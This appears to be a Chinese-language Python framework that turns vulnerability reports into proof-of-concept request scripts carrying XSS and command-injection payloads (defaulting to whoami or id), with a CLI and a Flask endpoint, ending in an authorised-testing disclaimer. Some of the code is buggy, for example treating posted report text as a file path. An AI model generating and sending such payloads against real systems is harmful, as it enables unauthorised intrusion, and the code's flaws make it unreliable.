# PoC脚本框架：Gemini漏洞验证助手
import argparse
import re
from flask import Flask, request, escape  # 示例Web环境

class VulnerabilityTemplate:
    """预训练漏洞模式模板库"""
    def __init__(self):
        self.templates = {
            'XSS': {
                'pattern': r'<script>alert\(\d+\)</script>',
                'payload': '<script>alert({param})</script>'
            },
            'RCE': {
                'pattern': r'\|.*;',
                'payload': '; {command} #'
            }
        }

class GeminiParser:
    """技术文档解析引擎"""
    def analyze_report(self, report_text):
        # 上下文理解层
        context_vectors = {}
        if "跨站脚本" in report_text:
            context_vectors['vuln_type'] = 'XSS'
        elif "命令注入" in report_text:
            context_vectors['vuln_type'] = 'RCE'
        
        # 动态参数提取（示例）
        context_vectors['target_param'] = re.search(r'参数: (\w+)', report_text).group(1)
        return context_vectors

class PoCGenerator:
    """动态调试脚本生成器"""
    def __init__(self):
        self.template_lib = VulnerabilityTemplate()
        self.parser = GeminiParser()
    
    def generate(self, report_path, **debug_params):
        with open(report_path, 'r') as f:
            report = f.read()
        
        context = self.parser.analyze_report(report)
        template = self.template_lib.templates[context['vuln_type']]
        
        # 动态参数注入
        payload = template['payload'].format(
            param=debug_params.get('alert_id', 1),
            command=debug_params.get('command', 'whoami')
        )
        
        return f"""
# 生成PoC验证脚本
def exploit(target_url):
    import requests
    params = {{'{context['target_param']}': '{payload}'}}
    return requests.get(target_url, params=params)
        """

# 调试接口示例
app = Flask(__name__)
@app.route('/generate', methods=['POST'])
def generate_poc():
    report = request.form['report']
    generator = PoCGenerator()
    return generator.generate(report, **request.form.to_dict())

if __name__ == '__main__':
    # 命令行调试支持
    parser = argparse.ArgumentParser()
    parser.add_argument('--report', help='漏洞报告路径')
    parser.add_argument('--alert_id', type=int, default=1)
    parser.add_argument('--command', default='id')
    args = parser.parse_args()

    if args.report:
        poc_code = PoCGenerator().generate(args.report, alert_id=args.alert_id, command=args.command)
        print(poc_code)

框架优势

1. 上下文理解：通过GeminiParser实现技术文档语义解析
2. 动态模板：支持通过debug_params实时调整攻击参数
3. 扩展性：新增漏洞类型只需更新VulnerabilityTemplate字典
4. 多环境支持：同时提供命令行和Web API调试接口

技术挑战

1. 语义解析精度：需持续优化正则表达式匹配规则
2. 安全隔离：执行RCE命令时需要沙箱环境防护
3. 泛化能力：对新类型漏洞的模板迁移成本较高

- 重要安全声明 -
+ 本工具仅限授权测试使用 +
+ 实际部署需移除示例中的Flask调试接口 +